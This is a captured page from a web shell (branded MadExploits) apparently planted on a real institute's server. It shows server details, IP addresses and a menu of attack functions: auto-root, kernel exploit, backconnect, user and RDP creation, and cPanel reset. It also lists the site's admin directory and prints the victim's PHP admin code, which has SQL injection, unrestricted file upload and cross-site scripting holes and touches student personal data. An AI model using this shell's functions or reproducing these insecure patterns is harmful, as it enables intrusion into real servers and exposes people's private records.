Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
finalho /
public_html /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
Rich
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
focus
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
textbox
[ DIR ]
drwxr-xr-x
Capture111.JPG
81.98
KB
-rw-r--r--
Certificate-record.php
19.89
KB
-rw-r--r--
address.php
14.92
KB
-rw-r--r--
addressupdate.php
15
KB
-rw-r--r--
admin-login.php
3.48
KB
-rw-r--r--
afflication.php
11.59
KB
-rw-r--r--
afflicationupdate.php
13.37
KB
-rw-r--r--
all-fee-detail.php
26.34
KB
-rw-r--r--
bank.php
15.61
KB
-rw-r--r--
bankupdate.php
20.6
KB
-rw-r--r--
batch.php
12.74
KB
-rw-r--r--
batchupdate.php
14.68
KB
-rw-r--r--
blog.php
13.38
KB
-rw-r--r--
blogupdate.php
16.45
KB
-rw-r--r--
certificate-print.php
9.1
KB
-rw-r--r--
certificate.php
12.03
KB
-rw-r--r--
connection.php
97
B
-rw-r--r--
contact.php
11.05
KB
-rw-r--r--
converted.php
30.22
KB
-rw-r--r--
course-admin-update.php
24.76
KB
-rw-r--r--
course-admin.php
21.15
KB
-rw-r--r--
course-content-update.php
14.67
KB
-rw-r--r--
course-content.php
12.73
KB
-rw-r--r--
course-description.php
12.52
KB
-rw-r--r--
course.php
16.01
KB
-rw-r--r--
courseupdate.php
19
KB
-rw-r--r--
create-certificate.php
17.71
KB
-rw-r--r--
create-fee.php
32.9
KB
-rw-r--r--
dashed.jpeg
24.22
KB
-rw-r--r--
data.php
622
B
-rw-r--r--
data2.php
704
B
-rw-r--r--
data3.php
641
B
-rw-r--r--
data4.php
634
B
-rw-r--r--
data5.php
801
B
-rw-r--r--
data6.php
708
B
-rw-r--r--
data7.php
801
B
-rw-r--r--
data8.php
564
B
-rw-r--r--
demo.php
11.79
KB
-rw-r--r--
descriptionupdate.php
14.37
KB
-rw-r--r--
document-records.php
21.95
KB
-rw-r--r--
document.php
14.68
KB
-rw-r--r--
due-fees.php
23.45
KB
-rw-r--r--
enquiry.php
11.89
KB
-rw-r--r--
event.php
14.05
KB
-rw-r--r--
eventupdate.php
16.92
KB
-rw-r--r--
fee.php
18.17
KB
-rw-r--r--
form.php
14.59
KB
-rw-r--r--
format.jpg
296.43
KB
-rw-r--r--
formm1.html
9.58
KB
-rw-r--r--
gallery.php
11.3
KB
-rw-r--r--
galleryupdate.php
12.92
KB
-rw-r--r--
header.php
1.19
KB
-rw-r--r--
id.php
6.59
KB
-rw-r--r--
idcard-update.php
27.39
KB
-rw-r--r--
idcard.php
23.12
KB
-rw-r--r--
index.php
410
B
-rw-r--r--
inquiry-report.php
33.63
KB
-rw-r--r--
inquiry.php
31.86
KB
-rw-r--r--
link.php
12.58
KB
-rw-r--r--
linkupdate.php
15.19
KB
-rw-r--r--
login.php
13.27
KB
-rw-r--r--
loginupdate.php
13.82
KB
-rw-r--r--
logo.png
26.75
KB
-rw-r--r--
microsoft.png
2.25
KB
-rw-r--r--
not-converted.php
30.31
KB
-rw-r--r--
numbertowordconvert.js
1.83
KB
-rw-r--r--
offer.php
12.29
KB
-rw-r--r--
offerupdate.php
14.05
KB
-rw-r--r--
online-exam-course.php
12.44
KB
-rw-r--r--
online-exam-update.php
14.44
KB
-rw-r--r--
palacement.php
12.87
KB
-rw-r--r--
personal.php
23.38
KB
-rw-r--r--
personalupdate.php
39.74
KB
-rw-r--r--
placement.php
12.63
KB
-rw-r--r--
placementupdate.php
14.96
KB
-rw-r--r--
print-certi.php
2.12
KB
-rw-r--r--
print-certificate.php
30.53
KB
-rw-r--r--
print-fees-slip.php
7.57
KB
-rw-r--r--
print-fees.php
38.43
KB
-rw-r--r--
print.php
8.97
KB
-rw-r--r--
register.php
13.06
KB
-rw-r--r--
slip.php
10.65
KB
-rw-r--r--
softwarelink.php
11.36
KB
-rw-r--r--
softwarelinkupdate.php
12.94
KB
-rw-r--r--
team.php
12.06
KB
-rw-r--r--
teamupdate.php
13.8
KB
-rw-r--r--
testimonial.php
11.78
KB
-rw-r--r--
testimonialupdate.php
13.84
KB
-rw-r--r--
try.php
12.15
KB
-rw-r--r--
try1.php
35.33
KB
-rw-r--r--
try2.php
6.02
KB
-rw-r--r--
try3.php
1.25
KB
-rw-r--r--
try4
0
B
-rw-r--r--
try4.php
2.29
KB
-rw-r--r--
try5.php
4.66
KB
-rw-r--r--
videolink.php
11.55
KB
-rw-r--r--
videolinkupdate.php
13.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : personalupdate.php
<?php $values = $_GET['branch']; include 'connection.php'; //address if(isset($_POST['update'])) { $id = isset($_POST['address_sno'])?$_POST['address_sno']:null; $location = isset($_POST['location'])?$_POST['location']:null; $landmark = isset($_POST['landmark'])?$_POST['landmark']:null; $country = isset($_POST['country'])?$_POST['country']:null; $email_id_1 = isset($_POST['email_id_1'])?$_POST['email_id_1']:null; $long = $_FILES['long']['name']; $tempimgname2= $_FILES['long']['tmp_name']; move_uploaded_file($tempimgname2,"images/$long"); $admission = isset($_POST['admission'])?$_POST['admission']:null; $branch = isset($_POST['branch'])?$_POST['branch']:null; $date = isset($_POST['date'])?$_POST['date']:null; $time = isset($_POST['time'])?$_POST['time']:null; $batchtime = isset($_POST['batchtime'])?$_POST['batchtime']:null; $father = isset($_POST['father'])?$_POST['father']:null; $gender = isset($_POST['gender'])?$_POST['gender']:null; $birth = isset($_POST['birth'])?$_POST['birth']:null; $married = isset($_POST['marital'])?$_POST['marital']:null; $result = mysqli_query($sql_con,"UPDATE `personal` SET `Name`='$location',`PhoneNo`='$landmark',`Emailid`='$country',`Address`='$email_id_1',`Image`='$long', `AdmissionNo`='$admission',`BranchName`='$branch', `AdmissionDate`='$date',`AdmissionTime`='$time', `Batchtime`='$batchtime', `FatherName`='$father', `Gender`='$gender', `DateOfBirth`='$birth', `MaritalStatus`='$married' WHERE Sno ='$id'"); } if(isset($_POST['delete'])) { //$sql_con=mysqli_connect('localhost','root','','hospital_management_website'); $id = isset($_POST['address_sno'])?$_POST['address_sno']:null; $result1 = mysqli_query($sql_con,"DELETE FROM `personal` WHERE Sno='$id'"); } ?> <?php $date3 = date('m-d-Y'); $due = mysqli_query($sql_con, "SELECT count(Sno) as snos From personal"); while($row4 = mysqli_fetch_array($due)) { $sno = $row4["snos"]; } $due = mysqli_query($sql_con, "SELECT count(AdmissionDate) as dates FROM `personal` where MONTH(AdmissionDate)=MONTH(now()) and YEAR(AdmissionDate)=YEAR(now()) and BranchName='Ashram'"); while($row4 = mysqli_fetch_array($due)) { $dates = $row4["dates"]; } $due6 = mysqli_query($sql_con, "SELECT count(AdmissionDate) as dates FROM `personal` where MONTH(AdmissionDate)=MONTH(now()) and YEAR(AdmissionDate)=YEAR(now()) and BranchName='Govindpuri'"); while($row6 = mysqli_fetch_array($due6)) { $dates2 = $row6["dates"]; } $due3 = mysqli_query($sql_con, "SELECT count(Sno) as ash From personal where AdmissionDate='$date3' and BranchName='Ashram'"); while($row5 = mysqli_fetch_array($due3)) { $ashram = $row5["ash"]; } $due3 = mysqli_query($sql_con, "SELECT count(Sno) as gov From personal where AdmissionDate='$date3' and BranchName='Govindpuri'"); while($row5 = mysqli_fetch_array($due3)) { $govind = $row5["gov"]; } $due3 = mysqli_query($sql_con, "SELECT count(Sno) as dues From personal where BranchName='Govindpuri'"); while($row5 = mysqli_fetch_array($due3)) { $due = $row5["dues"]; } $due3 = mysqli_query($sql_con, "SELECT count(AdmissionDate) as admission from personal where BranchName='Ashram'"); while($row5 = mysqli_fetch_array($due3)) { $due1 = $row5["admission"]; } $due3 = mysqli_query($sql_con, "SELECT count(AdmissionDate) as admis from personal where BranchName='Govindpuri'"); while($row5 = mysqli_fetch_array($due3)) { $due2 = $row5["admis"]; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Modi Traning Institute</title> <!-- ================= Favicon ================== --> <!-- Standard --> <link rel="shortcut icon" href="http://placehold.it/64.png/000/fff"> <!-- Retina iPad Touch Icon--> <link rel="apple-touch-icon" sizes="144x144" href="http://placehold.it/144.png/000/fff"> <!-- Retina iPhone Touch Icon--> <link rel="apple-touch-icon" sizes="114x114" href="http://placehold.it/114.png/000/fff"> <!-- Standard iPad Touch Icon--> <link rel="apple-touch-icon" sizes="72x72" href="http://placehold.it/72.png/000/fff"> <!-- Standard iPhone Touch Icon--> <link rel="apple-touch-icon" sizes="57x57" href="http://placehold.it/57.png/000/fff"> <!-- Styles --> <link href="assets/css/lib/select2/select2.min.css" rel="stylesheet"> <link href="assets/css/lib/font-awesome.min.css" rel="stylesheet"> <link href="assets/css/lib/themify-icons.css" rel="stylesheet"> <link href="assets/css/lib/menubar/sidebar.css" rel="stylesheet"> <link href="assets/css/lib/bootstrap.min.css" rel="stylesheet"> <link href="assets/css/lib/helper.css" rel="stylesheet"> <link href="assets/css/style.css" rel="stylesheet"> <script type="text/javascript" src="https://unpkg.com/xlsx@0.15.1/dist/xlsx.full.min.js"></script> </head> <body> <div class="sidebar sidebar-hide-to-small sidebar-shrink sidebar-gestures"> <div class="nano"> <div class="nano-content"> <div class="logo"><a href="address.php?BranchName=<?php echo $values; ?>"><!-- <img src="assets/images/logo.png" alt="" /> --><span>Modi Traning Institute</span></a></div> <ul> <li class="label">Main</li> <li><a class="sidebar-sub-toggle"><i class="ti-layout"></i>Website Master <span class="sidebar-collapse-icon ti-angle-down"></span></a> <ul> <li><a href="online-exam-course.php?branch=<?php echo $values; ?>">Online Exam Course Master</a></li> <li><a href="contact.php?branch=<?php echo $values; ?>">Contact Form</a></li> <li><a href="demo.php?branch=<?php echo $values; ?>">Demo Form</a></li> <li><a href="register.php?branch=<?php echo $values; ?>">REG by Website</a></li> <li><a href="enquiry.php?branch=<?php echo $values; ?>">Enquiry Form</a></li> <li><a href="idcard.php?branch=<?php echo $values; ?>">Student Id Card Master</a></li> <li><a href="address.php?BranchName=<?php echo $values; ?>">Address Master</a></li> <li><a href="link.php?branch=<?php echo $values; ?>"> Link Master</a></li> <li><a href="testimonial.php?branch=<?php echo $values; ?>">Testimonial Master</a></li> <li><a href="team.php?branch=<?php echo $values; ?>">Team Master</a></li> <li><a href="gallery.php?branch=<?php echo $values; ?>">Gallery Master</a></li> <li><a href="blog.php?branch=<?php echo $values; ?>">Blog Master</a></li> <li><a href="event.php?branch=<?php echo $values; ?>">Event Master</a></li> <li><a href="course.php?branch=<?php echo $values; ?>">Course Master</a></li> <li><a href="course-content.php?branch=<?php echo $values; ?>">Course Content Master</a></li> <li><a href="batch.php?branch=<?php echo $values; ?>">Batch Master</a></li> <li><a href="course-description.php?branch=<?php echo $values; ?>">Course Description Master</a></li> <li><a href="offer.php?branch=<?php echo $values; ?>">Offer Master</a></li> <li><a href="afflication.php?branch=<?php echo $values; ?>">Afflication Master</a></li> <li><a href="placement.php?branch=<?php echo $values; ?>">Placement Master</a></li> </ul> </li> <li><a class="sidebar-sub-toggle"><i class="ti-layout"></i>Admission Master <span class="sidebar-collapse-icon ti-angle-down"></span></a> <ul> <li><a href="personal.php?branch=<?php echo $values; ?>">Personal Info</a></li> <li><a href="bank.php?branch=<?php echo $values; ?>">Bank Detail</a></li> <li><a href="course-admin.php?branch=<?php echo $values; ?>">Course Detail</a></li> <li><a href="fee.php?branch=<?php echo $values; ?>">Fees Detail</a></li> </ul> </li> <li><a class="sidebar-sub-toggle"><i class="ti-panel"></i>Inquiry <span class="sidebar-collapse-icon ti-angle-down"></span></a> <ul> <li><a href="inquiry.php?branch=<?php echo $values; ?>">Inquiry Form</a></li> <li><a href="inquiry-report.php?branch=<?php echo $values; ?>">All Inquiry Report</a></li> <li><a href="converted.php?branch=<?php echo $values; ?>">Converted</a></li> <li><a href="not-converted.php?branch=<?php echo $values; ?>">Not Converted</a></li> </ul> </li> <li><a class="sidebar-sub-toggle"><i class="ti-layout-grid4-alt"></i>Fees Master <span class="sidebar-collapse-icon ti-angle-down"></span></a> <ul> <li><a href="create-fee.php?branch=<?php echo $values; ?>">Fees Form</a></li> <li><a href="print-fees.php?branch=<?php echo $values; ?>">All Fees Detail</a></li> <li><a href="due-fees.php?branch=<?php echo $values; ?>">Due Fees Detail</a></li> </ul> </li> <li><a class="sidebar-sub-toggle"><i class="ti-heart"></i>Document Master <span class="sidebar-collapse-icon ti-angle-down"></span></a> <ul> <li><a href="document.php?branch=<?php echo $values; ?>">Document</a></li> <li><a href="certificate.php?branch=<?php echo $values; ?>">Certificate</a></li> <li><a href="document-records.php?branch=<?php echo $values; ?>">All Document Records</a></li> <li><a href="Certificate-record.php?branch=<?php echo $values; ?>">All Certificate Records</a></li> </ul> </li> <li><a class="sidebar-sub-toggle"><i class="ti-heart"></i>Certificate Master <span class="sidebar-collapse-icon ti-angle-down"></span></a> <ul> <li><a href="create-certificate.php?branch=<?php echo $values; ?>">Certificate Create</a></li> <li><a href="print-certificate.php?branch=<?php echo $values; ?>">All Certificate Records</a></li> </ul> </li> <li><a href="../HRMS/HRMS/security.php?branch=<?php echo $values; ?>" target="_blank"><i class="ti-user"></i> HRMS Login</a></li> <li><a href="../admin-dashboard.php"><i class="ti-close"></i> Logout</a></li> </ul> </div> </div> </div> <!-- /# sidebar --> <div class="header"> <div class="container-fluid"> <div class="row"> <div class="col-lg-12"> <div class="float-left"> <div class="hamburger sidebar-toggle"> <span class="line"></span> <span class="line"></span> <span class="line"></span> </div> </div> </div> </div> </div> <div class="content-wrap"> <div class="main"> <div class="container-fluid"> <div class="row"> <div class="col-lg-12"> <table class="table table-responsive-lg table-bordered table-active" style="border: 2px solid black;" align="left" > <tr> <td colspan="3" style="color: black; font-weight: bolder; text-align: center; text-transform: uppercase;">Total Admission: <?php echo $sno; ?></td> </tr> <tr> <td style="color: black; font-weight: bolder; text-align: left; text-transform: uppercase;">Ashram Total Admission: <?php echo $due1; ?></td> <td style="color: black; font-weight: bolder; text-align: left; text-transform: uppercase;">Ashram Daily Admission: <?php echo $ashram; ?></td> </tr> <tr> <td style="color: black; font-weight: bolder; text-align: left; text-transform: uppercase;">Govindpuri Total Admission: <?php echo $due2; ?></td> <td style="color: black; font-weight: bolder; text-align: left; text-transform: uppercase;">Govindpuri Daily Admission: <?php echo $govind; ?></td> </tr> </table> </div> </div> <!-- /# row --> <section id="main-content"> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div class="bootstrap-data-table-panel"> <div class="table-responsive"> <form method="post"> <div class="row"> <div class="col-md-8"> <div class="row"> <div class="col-4"> <input type="text" name="search1" class="form-control" placeholder="Search Here ....."> </div> <div class="col-4"> <input type="date" name="start" class="form-control rounded" placeholder="Search" /> </div> <div class="col-4"> <input type="date" name="end" class="form-control rounded" placeholder="Search" /> </div> </div> </div> <div class="col-md-4"> <input type="submit" class="btn btn-info" name="search" value="Search"> <button onclick="ExportToExcel('xlsx')" class="btn btn-success">Excel File</button> <input type="button" value="Create PDF" id="btPrint" onclick="createPDF()" class="btn btn-success" /> </div> </div> </form> <div id="tab"> <table class="table table-bordered" id="tblData"> <thead class="thead-light"> <tr class="d-flex"> <th class="col-1" style="color: black;">Sno</th> <th class="col-1" style="color: black; ">Branch</th> <th class="col-1" style="color: black;">Adm. No</th> <th class="col-1" style="color: black;">Admi. Time</th> <th class="col-1" style="color: black;">Adm. Date</th> <th class="col-1" style="color: black;">Batch Time</th> <th class="col-2" style="color: black; width: 250px;">Student Name</th> <th class="col-2" style="color: black; width: 250px;">Course Name</th> <th class="col-2" style="color: black;">Duration</th> <th class="col-2" style="color: black;">Phone No</th> <th class="col-2" style="color: black;">Email ID</th> <th class="col-1" style="color: black;">Gender</th> <th class="col-1" style="color: black;">Image</th> <th class="col-1" style="color: black;">Action</th> </tr> </thead> <tbody> <?php $search = isset($_POST['search1'])?$_POST['search1']:null; if($search==null && isset($_POST['search'])) { $original_date = isset($_POST['start'])?$_POST['start']:null; $timestamp = strtotime($original_date); $new_date = date("m-d-Y", $timestamp); $original_date1 = isset($_POST['end'])?$_POST['end']:null; $timestamp1 = strtotime($original_date1); $new_date1 = date("m-d-Y", $timestamp1); $oquery = mysqli_query($sql_con,"SELECT * FROM personal WHERE AdmissionDate BETWEEN '$new_date' AND '$new_date1'"); while($row21 = mysqli_fetch_array($oquery)) { $no= $row21["Sno"]; $location = $row21["Name"]; $landmark = $row21["PhoneNo"]; $email = $row21["EmailId"]; $email1 = $row21["Address"]; $phone = $row21["Image"]; $add = $row21["AdmissionNo"]; $branch = $row21["BranchName"]; $admission = $row21["AdmissionDate"]; $time = $row21["AdmissionTime"]; $batchtime = $row21["Batchtime"]; $father = $row21["FatherName"]; $gender = $row21["Gender"]; $birth = $row21["DateOfBirth"]; $marital = $row21["MaritalStatus"]; $rela = $row21["Relation"]; ?> <tr class="d-flex"> <td class="col-1" style="color: black;"><?php echo $no;?></td> <td class="col-1" style="color: black;"><?php echo $branch; ?></td> <td class="col-1" style="color: black;"><?php echo $add; ?></td> <td class="col-1" style="color: black;"><?php echo $batchtime;?></td> <td class="col-1" style="color: black;"><?php echo $admission; ?></td> <td class="col-1" style="color: black;"><?php echo $time; ?></td> <td class="col-2" style="color: black; width: 250px;"><?php echo $location;?></td> <td class="col-2" style="color: black;"> <?php $cources = mysqli_query($sql_con, "SELECT * FROM student_course where AdmissionNo='$add'"); while($rowes4 = mysqli_fetch_array($cources)) { $cour = $rowes4["CourseName"]; echo $cour; } ?></td> <td class="col-2" style="color: black;"> <?php $cources = mysqli_query($sql_con, "SELECT * FROM student_course where AdmissionNo='$add'"); while($rowes4 = mysqli_fetch_array($cources)) { $cour = $rowes4["Duration"]; echo $cour; } ?></td> <td class="col-2" style="color: black;"><?php echo $landmark;?></td> <td class="col-2" style="color: black;"><?php echo $email;?></td> <td class="col-1" style="color: black;"><?php echo $gender; ?></td> <td class="col-1"><a href="images/<?php echo $phone;?>" target="_blank"><img src="images/<?php echo $phone;?>" style="height: 70px; width: 70px;"></a></td> <td class="col-1"><button type="button" class="btn btn-primary" data-toggle="modal" onclick="document.getElementById('address_id').value = '<?php echo $no; ?>';document.getElementById('admission').value = '<?php echo $add; ?>';document.getElementById('branch').value = '<?php echo $branch; ?>';document.getElementById('batchtiming').value = '<?php echo $batchtime; ?>';document.getElementById('add').value = '<?php echo $admission; ?>';document.getElementById('time').value = '<?php echo $time; ?>';document.getElementById('gender').value = '<?php echo $gender; ?>';document.getElementById('marital').value = '<?php echo $marital; ?>';document.getElementById('birth').value = '<?php echo $birth; ?>';document.getElementById('location').value = '<?php echo $location; ?>';document.getElementById('landmark').value = '<?php echo $landmark; ?>';document.getElementById('email1').value = '<?php echo $email; ?>';document.getElementById('email2').value = '<?php echo $email1; ?>';document.getElementById('father').value = '<?php echo $father; ?>';document.getElementById('email3').value = '<?php echo $phone; ?>';"data-target="#myModal" style="font-size: 12px;">Details </button></td></tr> <?php } } else if(isset($_POST['search'])) { $result2 = mysqli_query($sql_con,"SELECT * FROM `personal` where Name like '%$search%' or PhoneNo like '%$search%' or EmailId like '%$search%' or Address like '%$search%' or Image like '%$search%' or AdmissionNo like '%$search%' or BranchName like '%$search%' or AdmissionDate like '%$search%' or AdmissionTime like '%$search%' or Batchtime like '%$search%' or FatherName like '%$search%' or Gender like '%$search%' or DateOfBirth like '%$search%' or MaritalStatus like '%$search%' or Relation='%$search%'"); while($sub1 = mysqli_fetch_array($result2)) { $no= $sub1["Sno"]; $location = $sub1["Name"]; $landmark = $sub1["PhoneNo"]; $email = $sub1["EmailId"]; $email1 = $sub1["Address"]; $phone = $sub1["Image"]; $add = $sub1["AdmissionNo"]; $branch = $sub1["BranchName"]; $admission = $sub1["AdmissionDate"]; $time = $sub1["AdmissionTime"]; $batchtime = $sub1["Batchtime"]; $father = $sub1["FatherName"]; $gender = $sub1["Gender"]; $birth = $sub1["DateOfBirth"]; $marital = $sub1["MaritalStatus"]; $rela = $sub1["Relation"]; ?> <tr class="d-flex"> <td class="col-1" style="color: black;"><?php echo $no;?></td> <td class="col-1" style="color: black;"><?php echo $branch; ?></td> <td class="col-1" style="color: black;"><?php echo $add; ?></td> <td class="col-1" style="color: black;"><?php echo $batchtime;?></td> <td class="col-1" style="color: black;"><?php echo $admission; ?></td> <td class="col-1" style="color: black;"><?php echo $time; ?></td> <td class="col-2" style="color: black; width: 250px;"><?php echo $location;?></td> <td class="col-2" style="color: black;"> <?php $cources = mysqli_query($sql_con, "SELECT * FROM student_course where AdmissionNo='$add'"); while($rowes4 = mysqli_fetch_array($cources)) { $cour = $rowes4["CourseName"]; echo $cour; } ?></td> <td class="col-2" style="color: black;"> <?php $cources = mysqli_query($sql_con, "SELECT * FROM student_course where AdmissionNo='$add'"); while($rowes4 = mysqli_fetch_array($cources)) { $cour = $rowes4["Duration"]; echo $cour; } ?></td> <td class="col-2" style="color: black;"><?php echo $landmark;?></td> <td class="col-2" style="color: black;"><?php echo $email;?></td> <td class="col-1" style="color: black;"><?php echo $gender; ?></td> <td class="col-1"><a href="images/<?php echo $phone;?>" target="_blank"><img src="images/<?php echo $phone;?>" style="height: 70px; width: 70px;"></a></td> <td class="col-1"><button type="button" class="btn btn-primary" data-toggle="modal" onclick="document.getElementById('address_id').value = '<?php echo $no; ?>';document.getElementById('admission').value = '<?php echo $add; ?>';document.getElementById('branch').value = '<?php echo $branch; ?>';document.getElementById('batchtiming').value = '<?php echo $batchtime; ?>';document.getElementById('add').value = '<?php echo $admission; ?>';document.getElementById('time').value = '<?php echo $time; ?>';document.getElementById('gender').value = '<?php echo $gender; ?>';document.getElementById('marital').value = '<?php echo $marital; ?>';document.getElementById('birth').value = '<?php echo $birth; ?>';document.getElementById('location').value = '<?php echo $location; ?>';document.getElementById('landmark').value = '<?php echo $landmark; ?>';document.getElementById('email1').value = '<?php echo $email; ?>';document.getElementById('email2').value = '<?php echo $email1; ?>';document.getElementById('father').value = '<?php echo $father; ?>';document.getElementById('email3').value = '<?php echo $phone; ?>';"data-target="#myModal" style="font-size: 12px;">Details </button></td></tr> <?php } } else { $result = mysqli_query($sql_con,"SELECT * FROM `personal` where BranchName='$values'"); while($row = mysqli_fetch_array($result)) { $no= $row["Sno"]; $location = $row["Name"]; $landmark = $row["PhoneNo"]; $email = $row["EmailId"]; $email1 = $row["Address"]; $phone = $row["Image"]; $add = $row["AdmissionNo"]; $branch = $row["BranchName"]; $admission = $row["AdmissionDate"]; $time = $row["AdmissionTime"]; $batchtime = $row["Batchtime"]; $father = $row["FatherName"]; $gender = $row["Gender"]; $birth = $row["DateOfBirth"]; $marital = $row["MaritalStatus"]; $rela = $row["Relation"]; ?> <tr class="d-flex"> <td class="col-1" style="color: black;"><?php echo $no;?></td> <td class="col-1" style="color: black;"><?php echo $branch; ?></td> <td class="col-1" style="color: black;"><?php echo $add; ?></td> <td class="col-1" style="color: black;"><?php echo $batchtime;?></td> <td class="col-1" style="color: black;"><?php echo $admission; ?></td> <td class="col-1" style="color: black;"><?php echo $time; ?></td> <td class="col-2" style="color: black; width: 250px;"><?php echo $location;?></td> <td class="col-2" style="color: black;"> <?php $cources = mysqli_query($sql_con, "SELECT * FROM student_course where AdmissionNo='$add'"); while($rowes4 = mysqli_fetch_array($cources)) { $cour = $rowes4["CourseName"]; echo $cour; } ?></td> <td class="col-2" style="color: black;"> <?php $cources = mysqli_query($sql_con, "SELECT * FROM student_course where AdmissionNo='$add'"); while($rowes4 = mysqli_fetch_array($cources)) { $cour = $rowes4["Duration"]; echo $cour; } ?></td> <td class="col-2" style="color: black;"><?php echo $landmark;?></td> <td class="col-2" style="color: black;"><?php echo $email;?></td> <td class="col-1" style="color: black;"><?php echo $gender; ?></td> <td class="col-1"><a href="images/<?php echo $phone;?>" target="_blank"><img src="images/<?php echo $phone;?>" style="height: 70px; width: 70px;"></a></td> <td class="col-1"><button type="button" class="btn btn-primary" data-toggle="modal" onclick="document.getElementById('address_id').value = '<?php echo $no; ?>';document.getElementById('admission').value = '<?php echo $add; ?>';document.getElementById('branch').value = '<?php echo $branch; ?>';document.getElementById('batchtiming').value = '<?php echo $batchtime; ?>';document.getElementById('add').value = '<?php echo $admission; ?>';document.getElementById('time').value = '<?php echo $time; ?>';document.getElementById('gender').value = '<?php echo $gender; ?>';document.getElementById('marital').value = '<?php echo $marital; ?>';document.getElementById('birth').value = '<?php echo $birth; ?>';document.getElementById('location').value = '<?php echo $location; ?>';document.getElementById('landmark').value = '<?php echo $landmark; ?>';document.getElementById('email1').value = '<?php echo $email; ?>';document.getElementById('email2').value = '<?php echo $email1; ?>';document.getElementById('father').value = '<?php echo $father; ?>';document.getElementById('email3').value = '<?php echo $phone; ?>';"data-target="#myModal" style="font-size: 12px;">Details </button></td></tr> <?php } } ?> </tbody> </table></div> <div class="container"> <!-- The Modal --> <div class="modal fade" id="myModal"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <!-- Modal Header --> <div class="modal-header"> <h4 class="modal-title">Student Personal Information</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <!-- Modal body --> <div class="modal-body"> <div class="container"> <form method="POST" enctype="multipart/form-data"> <div class="form-group row" style="height: 20px;"> <label class="col-lg-4 col-form-label" >Sno<span class="text-danger">*</span></label> <div class="col-lg-8"> <input type="name" class="form-control" id="address_id" placeholder="Location" name="address_sno" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label class="col-lg-4 col-form-label" >Branch Name<span class="text-danger">*</span></label> <div class="col-lg-8"> <input type="text" class="form-control" name="branch" placeholder="Branch Name" id="branch" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label class="col-lg-4 col-form-label" >Admission No<span class="text-danger">*</span></label> <div class="col-lg-8"> <input type="text" class="form-control" name="admission" placeholder="Admission No" id="admission" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label class="col-lg-4 col-form-label" >Admission Date<span class="text-danger">*</span></label> <div class="col-lg-8"> <input type="text" class="form-control" name="date" placeholder="Admission Date" id="add" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label class="col-lg-4 col-form-label" for="val-email">Batch Timing<span class="text-danger">*</span></label> <div class="col-lg-8"> <input type="text" class="form-control" id="batchtiming" placeholder="Batch Timing" name="batch" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label class="col-lg-4 col-form-label" >Admission Time<span class="text-danger">*</span></label> <div class="col-lg-8"> <input type="text" class="form-control" name="time" placeholder="Admission Time" id="time" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="Name" class="col-lg-4 col-form-label">Name </label> <div class="col-lg-8"> <input type="name" class="form-control" id="location" placeholder="Name" name="location" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="Name" class="col-lg-4 col-form-label">Father Name </label> <div class="col-lg-8"> <input type="text" id="father" class="form-control" name="father" placeholder="Father Name" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="landmark" class="col-lg-4 col-form-label">Phone No</label> <div class="col-lg-8"> <input type="landmark" class="form-control" id="landmark" placeholder="Phone No" name="landmark" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="country" class="col-lg-4 col-form-label">Email Id</label> <div class="col-lg-8"> <input type="text" class="form-control" id="email1" placeholder="Email Id" name="country" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="country" class="col-lg-4 col-form-label">Gender</label> <div class="col-lg-8"> <input type="text" class="form-control" id="gender" placeholder="Gender" name="gender" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="country" class="col-lg-4 col-form-label">Marital Status</label> <div class="col-lg-8"> <input type="text" class="form-control" id="marital" placeholder="Marital Status" name="marital" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="country" class="col-lg-4 col-form-label">Date Of Birth</label> <div class="col-lg-8"> <input type="text" class="form-control" id="birth" placeholder="Date of Birth" name="birth" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="country" class="col-lg-4 col-form-label">Address</label> <div class="col-lg-8"> <input type="text" class="form-control" id="email2" placeholder="Address" name="email_id_1" style="height: 20px;"> </div> </div> <div class="form-group row" style="height: 20px;"> <label for="country" class="col-lg-4 col-form-label">Image</label> <div class="col-lg-8"> <input type="file" class="form-control" id="email3" placeholder="Email ID 2" name="long" style="height: 40px;"> </div> </div> <br><br> <button type="submit" class="btn btn-info" name="update" style="font-size: 12px;">Update Information</button> <button type="submit" class="btn btn-info" name="delete" style="font-size: 12px;">Delete Information</button> </form> <br> </div> </div> <!-- Modal footer --> <div class="modal-footer" style="padding: 5px;"> <button type="button" class="btn btn-danger" data-dismiss="modal" style="font-size: 12px;">Close</button> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-6"> <div class="footer"> <p>All right reserved by- <a href="">Modi Training Institute</a> </div> </div> <div class="col-lg-6"> <div class="footer" style="text-align: right;"> <p style="text-align: 